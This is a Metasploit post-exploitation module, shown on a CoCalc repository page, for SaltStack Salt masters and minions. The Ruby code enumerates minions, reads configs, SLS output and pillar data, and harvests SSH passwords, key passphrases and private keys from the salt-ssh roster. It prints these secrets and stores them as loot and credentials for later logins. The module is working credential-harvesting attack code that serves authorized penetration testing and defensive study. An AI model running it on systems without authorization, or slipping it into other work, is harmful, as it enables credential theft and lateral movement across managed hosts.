Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/saltstack_salt.rb
19670 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'yaml'
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::File
10
include Msf::Exploit::Local::Saltstack
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'SaltStack Salt Information Gatherer',
17
'Description' => %q{
18
This module gathers information from SaltStack Salt masters and minions.
19
Data gathered from minions: 1. salt minion config file
20
Data gathered from masters: 1. minion list (denied, pre, rejected, accepted)
21
2. minion hostname/ip/os (depending on module settings)
22
3. SLS
23
4. roster, any SSH keys are retrieved and saved to creds, SSH passwords printed
24
5. minion config files
25
6. pillar data
26
},
27
'Author' => [
28
'h00die',
29
'c2Vlcgo'
30
],
31
'SessionTypes' => %w[shell meterpreter],
32
'License' => MSF_LICENSE,
33
'Notes' => {
34
'Stability' => [CRASH_SAFE],
35
'SideEffects' => [IOC_IN_LOGS],
36
'Reliability' => []
37
}
38
)
39
)
40
register_options(
41
[
42
OptString.new('MINIONS', [true, 'Minions Target', '*']),
43
OptBool.new('GETHOSTNAME', [false, 'Gather Hostname from minions', true]),
44
OptBool.new('GETIP', [false, 'Gather IP from minions', true]),
45
OptBool.new('GETOS', [false, 'Gather OS from minions', true]),
46
OptInt.new('TIMEOUT', [true, 'Timeout for salt commands to run', 120])
47
]
48
)
49
end
50
51
def gather_pillars
52
print_status('Gathering pillar data')
53
begin
54
out = cmd_exec('salt', "'#{datastore['MINIONS']}' --output=yaml pillar.items", datastore['TIMEOUT'])
55
vprint_status(out)
56
results = YAML.safe_load(out, [Symbol]) # during testing we discovered at times Symbol needs to be loaded
57
store_path = store_loot('saltstack_pillar_data_gather', 'application/x-yaml', session, results.to_yaml, 'pillar_gather.yaml', 'SaltStack Salt Pillar Gather')
58
print_good("#{peer} - pillar data gathering successfully retrieved and saved to #{store_path}")
59
rescue Psych::SyntaxError
60
print_error('Unable to process pillar command output')
61
return
62
end
63
end
64
65
def gather_minion_data
66
print_status('Gathering data from minions (this can take some time)')
67
command = []
68
if datastore['GETHOSTNAME']
69
command << 'network.get_hostname'
70
end
71
if datastore['GETIP']
72
# command << 'network.ip_addrs'
73
command << 'network.interfaces'
74
end
75
if datastore['GETOS']
76
command << 'status.version' # seems to work on linux
77
command << 'system.get_system_info' # seems to work on windows, part of salt.modules.win_system
78
end
79
commas = ',' * (command.length - 1) # we need to provide empty arguments for each command
80
command = "salt '#{datastore['MINIONS']}' --output=yaml #{command.join(',')} #{commas}"
81
begin
82
out = cmd_exec(command, nil, datastore['TIMEOUT'])
83
if out == '' || out.nil?
84
print_error('No results returned. Try increasing the TIMEOUT or decreasing the minions being checked')
85
return
86
end
87
vprint_status(out)
88
results = YAML.safe_load(out, [Symbol]) # during testing we discovered at times Symbol needs to be loaded
89
store_path = store_loot('saltstack_minion_data_gather', 'application/x-yaml', session, results.to_yaml, 'minion_data_gather.yaml', 'SaltStack Salt Minion Data Gather')
90
print_good("#{peer} - minion data gathering successfully retrieved and saved to #{store_path}")
91
rescue Psych::SyntaxError
92
print_error('Unable to process gather command output')
93
return
94
end
95
return if results == false || results.nil?
96
return if results.include?('Salt request timed out.') || results.include?('Minion did not return.')
97
98
results.each_value do |result|
99
# at times the first line may be "Minions returned with non-zero exit code", so we want to skip that
100
next if result.is_a? String
101
102
host_info = {
103
name: result['network.get_hostname'],
104
os_flavor: result['status.version'],
105
comments: "SaltStack Salt minion to #{session.session_host}"
106
}
107
# mac os
108
if result.key?('system.get_system_info') &&
109
result['system.get_system_info'].include?('Traceback') &&
110
result.key?('status.version') &&
111
result['status.version'].include?('unsupported on the current operating system')
112
host_info[:os_name] = 'osx' # taken from lib/msf/core/post/osx/system
113
host_info[:os_flavor] = ''
114
# windows will throw a traceback error for status.version
115
elsif result.key?('status.version') &&
116
result['status.version'].include?('Traceback')
117
info = result['system.get_system_info']
118
host_info[:os_name] = info['os_name']
119
host_info[:os_flavor] = info['os_version']
120
host_info[:purpose] = info['os_type']
121
end
122
123
unless datastore['GETIP'] # if we dont get IP, can't make hosts
124
print_good("Found minion: #{host_info[:name]} - #{host_info[:os_flavor]}")
125
next
126
end
127
128
result['network.interfaces'].each do |name, interface|
129
next if name == 'lo'
130
next if interface['hwaddr'] == ':::::' # Windows Software Loopback Interface
131
next unless interface.key? 'inet' # skip if it doesn't have an inet, macos had lots of this
132
next if interface['inet'][0]['address'] == '127.0.0.1' # ignore localhost
133
134
host_info[:mac] = interface['hwaddr']
135
host_info[:host] = interface['inet'][0]['address'] # ignoring inet6
136
report_host(host_info)
137
print_good("Found minion: #{host_info[:name]} (#{host_info[:host]}) - #{host_info[:os_flavor]}")
138
end
139
end
140
end
141
142
def list_minions_printer
143
minions = list_minions
144
return if minions.nil?
145
146
tbl = Rex::Text::Table.new(
147
'Header' => 'Minions List',
148
'Indent' => 1,
149
'Columns' => ['Status', 'Minion Name']
150
)
151
152
minions.each do |minion|
153
tbl << ['Accepted', minion]
154
end
155
minions['minions_pre'].each do |minion|
156
tbl << ['Unaccepted', minion]
157
end
158
minions['minions_rejected'].each do |minion|
159
tbl << ['Rejected', minion]
160
end
161
minions['minions_denied'].each do |minion|
162
tbl << ['Denied', minion]
163
end
164
print_good(tbl.to_s)
165
end
166
167
def minion
168
print_status('Looking for salt minion config files')
169
# https://github.com/saltstack/salt/blob/b427688048fdbee106f910c22ebeb105eb30aa10/doc/ref/configuration/minion.rst#configuring-the-salt-minion
170
[
171
'/etc/salt/minion', # linux, osx
172
'C://salt//conf//minion',
173
'/usr/local/etc/salt/minion' # freebsd
174
].each do |config|
175
next unless file?(config)
176
177
minion = YAML.safe_load(read_file(config))
178
if minion['master']
179
print_good("Minion master: #{minion['master']}")
180
end
181
store_path = store_loot('saltstack_minion', 'application/x-yaml', session, minion.to_yaml, 'minion.yaml', 'SaltStack Salt Minion File')
182
print_good("#{peer} - minion file successfully retrieved and saved to #{store_path}")
183
break # no need to process more
184
end
185
end
186
187
def master
188
list_minions_printer
189
gather_minion_data if datastore['GETOS'] || datastore['GETHOSTNAME'] || datastore['GETIP']
190
191
# get sls files
192
unless command_exists?('salt')
193
print_error('salt not found on system')
194
return
195
end
196
print_status('Showing SLS')
197
output = cmd_exec('salt', "'#{datastore['MINIONS']}' state.show_sls '*'", datastore['TIMEOUT'])
198
store_path = store_loot('saltstack_sls', 'text/plain', session, output, 'sls.txt', 'SaltStack Salt Master SLS Output')
199
print_good("#{peer} - SLS output successfully retrieved and saved to #{store_path}")
200
201
# get roster
202
# https://github.com/saltstack/salt/blob/023528b3b1b108982989c4872c138d1796821752/doc/topics/ssh/roster.rst#salt-rosters
203
print_status('Loading roster')
204
priv_values = {}
205
['/etc/salt/roster'].each do |config|
206
next unless file?(config)
207
208
begin
209
minions = YAML.safe_load(read_file(config))
210
rescue Psych::SyntaxError
211
print_error("Unable to load #{config}")
212
next
213
end
214
store_path = store_loot('saltstack_roster', 'application/x-yaml', session, minion.to_yaml, 'roster.yaml', 'SaltStack Salt Roster File')
215
print_good("#{peer} - roster file successfully retrieved and saved to #{store_path}")
216
next if minions.nil?
217
218
minions.each do |name, minion|
219
host = minion['host'] # aka ip
220
user = minion['user']
221
port = minion['port'] || 22
222
passwd = minion['passwd']
223
# sudo = minion['sudo'] || false
224
priv = minion['priv'] || false
225
priv_pass = minion['priv_passwd'] || false
226
227
print_good("Found SSH minion: #{name} (#{host})")
228
# make a special print for encrypted ssh keys
229
unless priv_pass == false
230
print_good(" SSH key #{priv} password #{priv_pass}")
231
report_note(host: host,
232
proto: 'TCP',
233
port: port,
234
type: 'SSH Key Password',
235
data: {
236
ssh_key: priv,
237
password: priv_pass
238
})
239
end
240
241
host_info = {
242
name: name,
243
comments: "SaltStack Salt ssh minion to #{session.session_host}",
244
host: host
245
}
246
report_host(host_info)
247
248
cred = {
249
address: host,
250
port: port,
251
protocol: 'tcp',
252
workspace_id: myworkspace_id,
253
origin_type: :service,
254
private_type: :password,
255
service_name: 'SSH',
256
module_fullname: fullname,
257
username: user,
258
status: Metasploit::Model::Login::Status::UNTRIED
259
}
260
if passwd
261
cred[:private_data] = passwd
262
create_credential_and_login(cred)
263
next
264
end
265
266
# handle ssh keys if it wasn't a password
267
cred[:private_type] = :ssh_key
268
if priv_values[priv]
269
cred[:private_data] = priv_values[priv]
270
create_credential_and_login(cred)
271
next
272
end
273
274
unless file?(priv)
275
print_error(" Unable to find salt-ssh priv key #{priv}")
276
next
277
end
278
input = read_file(priv)
279
store_path = store_loot('ssh_key', 'plain/txt', session, input, 'salt-ssh.rsa', 'SaltStack Salt SSH Private Key')
280
print_good(" #{priv} stored to #{store_path}")
281
priv_values[priv] = input
282
cred[:private_data] = input
283
create_credential_and_login(cred)
284
end
285
end
286
gather_pillars
287
end
288
289
def run
290
if session.platform == 'windows'
291
# the docs dont show that you can run as a master, nor was the master .bat included as of this writing
292
minion
293
end
294
minion if command_exists?('salt-minion')
295
master if command_exists?('salt-master')
296
end
297
298
end
299
300